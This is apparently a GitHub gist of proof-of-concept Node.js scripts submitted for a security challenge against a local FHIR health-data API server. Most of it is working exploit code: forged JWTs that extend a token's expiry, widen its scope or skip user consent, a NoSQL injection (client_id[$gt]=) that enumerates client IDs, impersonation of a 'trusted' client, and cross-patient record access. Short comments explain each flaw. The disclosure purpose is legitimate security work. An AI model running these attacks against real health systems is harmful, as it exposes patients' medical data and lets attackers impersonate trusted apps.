-
-
Save rickysahu/1947a369870c18317d847dbf38c451c4 to your computer and use it in GitHub Desktop.
1uphealthsecureapiserverchallenge
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
``` | |
This shows how to extend the expiration time of an existing token without | |
permission from the user or the fhir server | |
Prerequisite: get a valid access token for the client xyz123 | |
and enter the value for valid_token | |
let the token expire after the default 1 hr | |
``` | |
const request = require('request'); | |
const jwt = require('jsonwebtoken'); | |
const client_id = 'xyz123'; | |
const client_secret = 'ssh-password'; | |
const valid_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWZyZXNoX3Rva2VuIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SmpiMjUwWlhoMElqcDdmU3dpYW5ScElqb2lha2xGYWpKNmIyRXdPV0pLVERacllscEdkbUZQY2paRWR6UjVkVEZLZEdnMmVVbHhJaXdpWVhWa0lqb2llSGw2TVRJeklpd2lhWE56SWpvaWFIUjBjRG92TDJ4dlkyRnNhRzl6ZERvek1EQXdJaXdpYzJOdmNHVWlPaUpzWVhWdVkyZ2djR0YwYVdWdWRDOHFMbkpsWVdRZ2IzQmxibWxrSWl3aWFXRjBJam94TlRJeE5qUTVNelkxTENKbGVIQWlPakUxTWpFMk5EazJOalY5LnN6VXFPUG02VW9LTTBnZUZucnNXdklHbGhmb2FrMnpzZ19tR25tVjJNT1UiLCJ0b2tlbl90eXBlIjoiYmVhcmVyIiwiZXhwaXJlc19pbiI6MzYwMCwic2NvcGUiOiJsYXVuY2ggcGF0aWVudC8qLnJlYWQgb3BlbmlkIiwiYXVkIjoieHl6MTIzIiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwIiwianRpIjoiaklFajJ6b2EwOWJKTDZrYlpGdmFPcjZEdzR5dTFKdGg2eUlxIiwiaWF0IjoxNTIxNjQ5NDA0LCJleHAiOjE1MjE2NTMwMDR9.iBQ0nFu4WHBnL3FFAbPZdb1Yo0GYhct9JpGxbS5VOLk' | |
var exp = parseInt((new Date).getTime()/1000) + 3600; | |
var jwtContent = jwt.decode(valid_token) | |
jwtContent.exp = exp | |
var token = jwt.sign(jwtContent, client_secret); | |
var url = 'http://localhost:3000/dstu2/Patient' | |
var headers = {authorization: `Bearer ${token}`} | |
request.get({url: url, headers: headers}, function(err, response) { | |
if (err) { | |
console.log('err', err) | |
} else { | |
console.log(response) | |
} | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
``` | |
This allows anyone to find new client ids by exploiting | |
a nosql injection (client_id[$gt]=) in the authorize url | |
this can then be used in conjunction with gettokenforotherclient.js | |
to imporsonate any other app, duping users into enabling malicious actors | |
to use access tokens they should not have | |
``` | |
const request = require('request'); | |
const jwt = require('jsonwebtoken'); | |
function getClientIdForPrefix(prefix) { | |
var url = `http://localhost:3000/authorize?client_id[$gt]=${prefix}&redirect_uri=http://localhost:3000/&response_type=code&state=43220320&scope=launch patient/*.read openid&aud=http://localhost:3000` | |
request.get({url: url}, function(err, response) { | |
if (err) { | |
console.log('err', err) | |
} else { | |
try { | |
code = response.req.path.split('=')[1].split('&')[0] | |
jwtContent = jwt.decode(code) | |
console.log('found client_id', jwtContent.aud) | |
} catch (e) {console.log(e)} | |
} | |
}) | |
} | |
x = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'.split('').map(function(prefix){ | |
getClientIdForPrefix(prefix) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
``` | |
This allows a client to access data on behalf of a "trusted" client | |
therefore users could be duped into authorizing access to a | |
party which should not have access to this "trusted" client | |
this is caused by the fact that the client_secret is not required to request the auth token | |
when the client is "trusted" | |
``` | |
const request = require('request'); | |
const jwt = require('jsonwebtoken'); | |
// this is information that the client has | |
const client_id = 'abc123'; | |
const client_secret = 'ssh-secret'; | |
// however the client can get send the user to authorize another app and | |
// aquire that other apps access token | |
var otherAppClientId = 'xyz123'; | |
var url = `http://localhost:3000/authorize?client_id=${otherAppClientId}&redirect_uri=http://localhost:3000/&response_type=code&state=43220320&scope=launch patient/*.read openid&aud=http://localhost:3000` | |
var code; | |
async function getCode(){ | |
await request.get({url: url}, function(err, response) { | |
if (err) { | |
console.log('err', err) | |
} else { | |
code = response.req.path.split('=')[1].split('&')[0] | |
} | |
})} | |
getCode() | |
console.log(code) | |
var url = `http://localhost:3000/token` | |
var headers = { | |
"Content-Type": "application/json", | |
} | |
var body = { | |
"code": code, | |
"redirect_uri": "http://localhost:3000", | |
"grant_type": "authorization_code" | |
} | |
var token; | |
async function getToken(){ | |
await request.post({url: url, headers: headers, body: JSON.stringify(body)}, function(err, response) { | |
if (err) { | |
console.log('err', err) | |
} else { | |
token = JSON.parse(response.body).access_token | |
console.log(response) | |
} | |
})} | |
getToken() | |
var url = 'http://localhost:3000/dstu2/Patient' | |
var headers = {authorization: `Bearer ${token}`} | |
request.get({url: url, headers: headers}, function(err, response) { | |
if (err) { | |
console.log('err', err) | |
} else { | |
console.log(response) | |
} | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
``` | |
This shows how to extend the scope of an existing token without | |
permission from the user or the fhir server | |
Prerequisite: get a valid access token for the client xyz123 | |
and enter the value for valid_token | |
let the token expire after the default 1 hr | |
``` | |
const request = require('request'); | |
const jwt = require('jsonwebtoken'); | |
const client_id = 'xyz123'; | |
const client_secret = 'ssh-password'; | |
const valid_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWZyZXNoX3Rva2VuIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SmpiMjUwWlhoMElqcDdmU3dpYW5ScElqb2lha2xGYWpKNmIyRXdPV0pLVERacllscEdkbUZQY2paRWR6UjVkVEZLZEdnMmVVbHhJaXdpWVhWa0lqb2llSGw2TVRJeklpd2lhWE56SWpvaWFIUjBjRG92TDJ4dlkyRnNhRzl6ZERvek1EQXdJaXdpYzJOdmNHVWlPaUpzWVhWdVkyZ2djR0YwYVdWdWRDOHFMbkpsWVdRZ2IzQmxibWxrSWl3aWFXRjBJam94TlRJeE5qUTVNelkxTENKbGVIQWlPakUxTWpFMk5EazJOalY5LnN6VXFPUG02VW9LTTBnZUZucnNXdklHbGhmb2FrMnpzZ19tR25tVjJNT1UiLCJ0b2tlbl90eXBlIjoiYmVhcmVyIiwiZXhwaXJlc19pbiI6MzYwMCwic2NvcGUiOiJsYXVuY2ggcGF0aWVudC8qLnJlYWQgb3BlbmlkIiwiYXVkIjoieHl6MTIzIiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwIiwianRpIjoiaklFajJ6b2EwOWJKTDZrYlpGdmFPcjZEdzR5dTFKdGg2eUlxIiwiaWF0IjoxNTIxNjQ5NDA0LCJleHAiOjE1MjE2NTMwMDR9.iBQ0nFu4WHBnL3FFAbPZdb1Yo0GYhct9JpGxbS5VOLk' | |
// this new scope gives the right to read and write anything for all patients or users | |
// but this may not have been the original scope that the user authorized | |
var newscope = 'launch patient/*.read patient/*.write user/*.* openid'; | |
var jwtContent = jwt.decode(valid_token) | |
jwtContent.scope = newscope | |
var token = jwt.sign(jwtContent, client_secret); | |
var url = 'http://localhost:3000/dstu2/Patient' | |
var headers = {authorization: `Bearer ${token}`} | |
request.get({url: url, headers: headers}, function(err, response) { | |
if (err) { | |
console.log('err', err) | |
} else { | |
console.log(response) | |
} | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
` | |
If an access_token with a valid patient context is obtained, the patient id | |
field in the query is not honored and any patient's data can be accessed | |
this arises from the fact that the logic is being tested only on the request body, | |
and not the request query | |
if ( | |
req.patient | |
&& req.body | |
&& req.body.id | |
&& req.patient !== req.body.id | |
) { | |
return next(errors.unauthorized(`You are not allowed to access patient ${req.body.id}.`)); | |
} | |
` | |
const request = require('request'); | |
const jwt = require('jsonwebtoken'); | |
const client_id = 'xyz123'; | |
const client_secret = 'ssh-password'; | |
var iat = parseInt((new Date).getTime()/1000); | |
var exp = parseInt((new Date).getTime()/1000) + 3600; | |
var jwtContent = { | |
"refresh_token": "thiscanbeanything", | |
"token_type": "bearer", | |
"expires_in": 3600, | |
"scope": "launch patient/*.read openid", | |
"aud": client_id, | |
"context": { | |
"patient": "1" | |
}, | |
"iss": "http://localhost:3000", | |
"jti": "jIEj2zoa09bJL6kbZFvaOr6Dw4yu1Jth6yIq", | |
"iat": iat, | |
"exp": exp | |
} | |
// get a vlid token with the patient context in it | |
var token = jwt.sign(jwtContent, client_secret); | |
var url = 'http://localhost:3000/dstu2/Patient/2' | |
var headers = {authorization: `Bearer ${token}`} | |
request.get({url: url, headers: headers}, function(err, response) { | |
if (err) { | |
console.log('err', err) | |
} else { | |
console.log(response) | |
} | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
``` | |
this shows how to get an access token for user / patient without requiring that | |
user to authorize access to their data | |
``` | |
const request = require('request'); | |
const jwt = require('jsonwebtoken'); | |
const client_id = 'xyz123'; | |
const client_secret = 'ssh-password'; | |
var iat = parseInt((new Date).getTime()/1000); | |
var exp = parseInt((new Date).getTime()/1000) + 3600; | |
var jwtContent = { | |
"refresh_token": "thiscanbeanything", | |
"token_type": "bearer", | |
"expires_in": 3600, | |
"scope": "launch patient/*.read openid", | |
"aud": client_id, | |
"iss": "http://localhost:3000", | |
"jti": "jIEj2zoa09bJL6kbZFvaOr6Dw4yu1Jth6yIq", | |
"iat": iat, | |
"exp": exp | |
} | |
var token = jwt.sign(jwtContent, client_secret); | |
var url = 'http://localhost:3000/dstu2/Patient' | |
var headers = {authorization: `Bearer ${token}`} | |
request.get({url: url, headers: headers}, function(err, response) { | |
if (err) { | |
console.log('err', err) | |
} else { | |
console.log(response) | |
} | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment